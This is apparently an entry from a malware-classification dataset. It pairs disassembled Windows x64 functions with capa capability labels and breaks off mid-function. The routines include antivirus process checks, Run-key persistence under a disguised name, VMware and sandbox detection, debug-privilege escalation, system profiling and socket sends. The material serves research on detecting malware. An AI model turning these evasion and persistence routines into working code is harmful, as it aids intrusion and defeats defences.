joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400022b0
Capabilities:
Extract resource via kernel32 functions
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rcx
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
xor ebp, ebp
mov edi, 0x8664
mov eax, dword [rcx + rax]
cmp dword [0x14000a8b0], eax
jle 0x1400023d2
lea rcx, [0x14000a8b0]
call fcn.140004898
cmp dword [0x14000a8b0], 0xffffffff
jne 0x1400023d2
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000236a
lea rdx, str.IsWow64Process2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov word [rsp + 0x34], bp
mov word [rsp + 0x30], bp
test rax, rax
je 0x140002374
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x34]
call rbx
test eax, eax
je 0x140002374
movzx eax, word [rsp + 0x30]
jmp 0x1400023bf
mov word [rsp + 0x34], bp
mov word [rsp + 0x30], bp
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx ecx, word [rsp + 0x38]
test ecx, ecx
je 0x1400023ba
sub ecx, 5
je 0x1400023b3
sub ecx, 1
je 0x1400023ac
sub ecx, 3
je 0x1400023a7
cmp ecx, 3
je 0x1400023a0
mov eax, ebp
jmp 0x1400023bf
mov eax, 0xaa64
jmp 0x1400023bf
movzx eax, di
jmp 0x1400023bf
mov eax, 0x200
jmp 0x1400023bf
mov eax, 0x1c0
jmp 0x1400023bf
mov eax, 0x14c
mov word [0x14000a8b4], ax
lea rcx, [0x14000a8b0]
call fcn.14000482c
cmp word [0x14000a8b4], di
jne 0x14000243a
mov edx, 0x65
mov r8d, 0x100
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000243a
mov rdx, rax
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
mov rdx, rbx
lea rcx, [0x140000000]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test rdi, rdi
je 0x14000243a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
jmp 0x140002444
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0x20]
movups xmm0, xmmword [rax]
movups xmmword [rsi], xmm0
mov rax, rsi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400047d0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140004264
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400042e8
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400064a0]
cmp byte [rcx + rax], 0
je 0x1400042e8
dec r8
sub rdx, 1
jne 0x1400042ce
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140005300
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000534a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000534a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000534a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000534a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000534a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000534c
xor al, al
add rsp, 0x28
ret
Function at 0x140001bf0
Capabilities:
Hash data with md5

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rbp], rax
mov rsi, r9
mov rbx, r8
mov r14, rcx
mov r12, qword [rbp + 0x80]
mov r13, qword [rbp + 0x88]
mov qword [rsp + 0x50], 7
xor r15d, r15d
mov qword [rsp + 0x48], r15
mov word [rsp + 0x38], r15w
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x38]
call fcn.140003f60
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.140003f60
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.140003f60
lea r8d, [r15 + 3]
lea rdx, [0x140029658]
lea rcx, [rsp + 0x38]
call fcn.140003f60
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r12
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r12
lea rcx, [rsp + 0x38]
call fcn.140003f60
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rsp + 0x38]
call fcn.140003f60
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
mov byte [rbp - 8], r15b
mov qword [rbp - 0x60], r15
mov dword [rbp - 0x70], 0x67452301
mov dword [rbp - 0x6c], 0xefcdab89
mov dword [rbp - 0x68], 0x98badcfe
mov dword [rbp - 0x64], 0x10325476
mov r8, qword [rsp + 0x48]
lea r8, [r8 + r8 + 2]
lea rcx, [rbp - 0x70]
call fcn.1400043e0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140004f20
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r14
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp qword [rsp + 0x78], 0x10
jb 0x140001db9
mov rcx, qword [rsp + 0x60]
call fcn.140011b00
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x70], r15
mov byte [rsp + 0x60], 0
cmp qword [rsp + 0x50], 8
jb 0x140001dde
mov rcx, qword [rsp + 0x38]
call fcn.140011b00
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x118
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140002240
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x280
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov qword [r11 + 0x20], r12
lea rsi, [0x140039f10]
xor edx, edx
mov r8d, 0x1fe
mov rcx, rsi
mov qword [r11 - 0x18], r14
call fcn.140013cb0
mov rcx, qword [str.360Safe.exe]
lea rdx, [0x1400294e0]
xor r14d, r14d
mov r12d, r14d
call fcn.1400121a4
test rax, rax
jne 0x1400023ae
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], rbp
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x278], r13
lea r13, str.360Safe.exe
mov ebp, r14d
mov rbx, r13
nop dword [rax + rax]
mov rdi, qword [rbx]
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], r14d
call fcn.140013cb0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002367
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000235e
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov r8, rdi
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x140002344
add rcx, 2
test eax, eax
jne 0x140002330
mov rcx, rbx
test edx, edx
je 0x1400023fe
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002320
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r12
lea rdx, [0x1400294e0]
mov rbp, r12
shl rbp, 4
lea rbx, [r13 + rbp]
mov rcx, qword [rbx]
call fcn.1400121a4
test rax, rax
je 0x1400022d0
mov r13, qword [rsp + 0x278]
mov rdi, qword [rsp + 0x2a0]
mov rbp, qword [rsp + 0x298]
mov rbx, qword [rsp + 0x290]
lea rdx, [0x1400294e0]
mov rcx, rsi
call fcn.1400121a4
mov r14, qword [rsp + 0x270]
mov r12, qword [rsp + 0x2a8]
test rax, rax
jne 0x1400023e2
lea rdx, [0x1400295fc]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, rsi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x280
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x28], r14d
je 0x140002367
mov rdx, qword [r13 + rbp + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140029730]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140002367
Function at 0x140002440
Capabilities:
Persist via run registry key

Disassembly:
push rbp
sub rsp, 0x690
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0x52]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], bp
call fcn.140013cb0
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], bp
call fcn.140013cb0
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002521
lea r9d, [rbp + 1]
lea r8d, [rbp + 7]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call rax
test eax, eax
je 0x140002521
lea r9, str.GFIRestart64.exe
lea r8, [rsp + 0x50]
lea rdx, str._s_s
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x260]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140002521
lea eax, [rbp + 1]
jmp 0x140002642
mov qword [rsp + 0x6a0], rbx
lea rcx, [0x140029800]
mov qword [rsp + 0x6a8], rsi
mov qword [rsp + 0x6b0], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x140029820]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140029838]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140029848]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rsi, rsi
je 0x140002628
test rdi, rdi
je 0x140002628
test rax, rax
je 0x140002628
lea rax, [rsp + 0x48]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
jne 0x140002628
lea rcx, [rsp + 0x472]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x470], bp
call fcn.140013cb0
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
lea rdx, str.GFIRestart64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x470]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x208
call rsi
mov rcx, qword [rsp + 0x48]
test eax, eax
jne 0x140002626
call rbx
mov eax, 1
jmp 0x14000262a
call rbx
xor eax, eax
mov rsi, qword [rsp + 0x6a8]
mov rbx, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x690
pop rbp
ret
Function at 0x140002cb0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x140002d3b
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
cmp eax, 1
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x80
pop rbx
ret
Function at 0x1400030e0
Capabilities:
Check os version

Disassembly:
mov r11, rsp
push rdi
sub rsp, 0x180
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov rbp, rcx
mov ecx, 0x3c
mov qword [r11 - 0x18], r12
call fcn.140012120
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, rdi
mov r12d, eax
call fcn.140002f00
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x11c
xor ebx, ebx
call fcn.140013cb0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x1400032da
cmp dword [rsp + 0x50], 2
jne 0x1400032da
cmp dword [rsp + 0x44], 5
jbe 0x1400032da
mov qword [rsp + 0x38], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
lea edx, [rbx + 8]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400032cd
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x178], rsi
mov dword [rsp + 0x30], ebx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x140003265
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140003265
mov edx, dword [rsp + 0x30]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140003249
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea edx, [rbx + 0x19]
mov r8, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140003231
mov rcx, qword [rsi]
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
mov rcx, qword [rsi]
movzx edx, byte [rax]
dec edx
call qword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov rcx, rsi
mov ebx, dword [rax]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140003272
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400043c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140003272
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.M_ALLOC___ERROR__d_n
mov ecx, 0x3d0
mov r8d, eax
call fcn.1400043c0
jmp 0x140003272
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400043c0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x178]
test ebx, ebx
je 0x1400032da
cmp ebx, 0x1000
je 0x1400032c4
cmp ebx, 0x2000
je 0x1400032bb
cmp ebx, 0x3000
je 0x1400032b2
cmp ebx, 0x4000
jne 0x1400032f0
lea rdx, str._d__s_
jmp 0x1400032e1
lea rdx, [0x140029910]
jmp 0x1400032e1
lea rdx, [0x140029900]
jmp 0x1400032e1
lea rdx, [0x1400298f0]
jmp 0x1400032e1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400043c0
lea rdx, str._s__s_None
mov r9, rdi
mov r8d, r12d
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfW]
mov r12, qword [rsp + 0x170]
mov rbp, qword [rsp + 0x1a0]
mov rbx, qword [rsp + 0x198]
test rdi, rdi
je 0x140003315
mov rcx, rdi
call fcn.140012118
mov eax, 1
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x180
pop rdi
ret
Function at 0x140003340
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x1400033eb
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x140003383
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, [0x140029950]
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.140011f54
lea r8, [0x1400299a0]
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.140011f54
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.140011ae0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400034d0
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x2a0
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, r9
mov rsi, r8
mov r12, rdx
mov r13, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x80]
call fcn.140013cb0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r12
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000354d
or ebx, 0xffffffff
jmp 0x1400036f0
mov ecx, dword [rsp + 0x2f0]
test ecx, ecx
je 0x14000364c
dec ecx
je 0x1400035df
dec ecx
jne 0x1400036f0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400036f0
cmp eax, 2
ja 0x1400036f0
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400036f0
lea rdx, [0x1400298bc]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1400036c7
or ebx, 0xffffffff
jmp 0x1400036f0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400036f0
cmp eax, 2
ja 0x1400036f0
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rdi
test eax, eax
jne 0x1400036e2
lea rdx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x1400036f0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400036f0
cmp eax, 2
ja 0x1400036f0
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400036df
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rsp + 0x68]
lea r8, [rsp + 0x80]
lea rdx, str._s__d
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x1400036f0
mov rcx, rdi
lea rdx, str.error
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x2a0
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140003cc0
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0xf8
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0xe0], rax
lea rcx, str.C:Program_FilesVMwareVMware_Tools_
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x140003d04
mov al, 1
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0xf8
ret
xor eax, eax
lea rcx, [rsp + 0x62]
xor edx, edx
lea r8d, [rax + 0x76]
mov word [rsp + 0x60], ax
call fcn.140013cb0
lea rcx, [rsp + 0x60]
call fcn.140003730
lea rdx, str.VMware
lea rcx, [rsp + 0x60]
call fcn.1400121a4
test rax, rax
jne 0x140003cea
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x28], 0x45f41500
setb al
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0xf8
ret

Function at 0x140003de0
Capabilities:
Acquire debug privileges

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140030198]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140003e63
lea r8, [rsp + 0x44]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rsp + 0x40], 1
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x38]
xor eax, eax
lea r8, [rsp + 0x40]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r9d, [rax + 0x10]
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.NtDll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtSetInformationProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x140003e9b
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x60
pop rbx
ret
mov dword [rsp + 0x30], 1
call sub.KERNEL32.dll_GetCurrentProcessId
xor edx, edx
mov r8d, eax
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 4
lea r8, [rsp + 0x30]
lea edx, [r9 + 0x19]
mov rcx, rax
call rbx
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140011ae0
add rsp, 0x60
pop rbx
ret

Function at 0x140005500
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x378]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x80
xor ebx, ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x378]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x150], ebx
mov rcx, qword [rdi + 0x378]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 0x148]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0x378], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x140005bb0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor edi, edi
mov r14d, r8d
mov rsi, rdx
mov r13, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0x40000
jl 0x140005c41
nop dword [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r13 + 0x378]
xor r9d, r9d
mov r8d, 0x40000
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
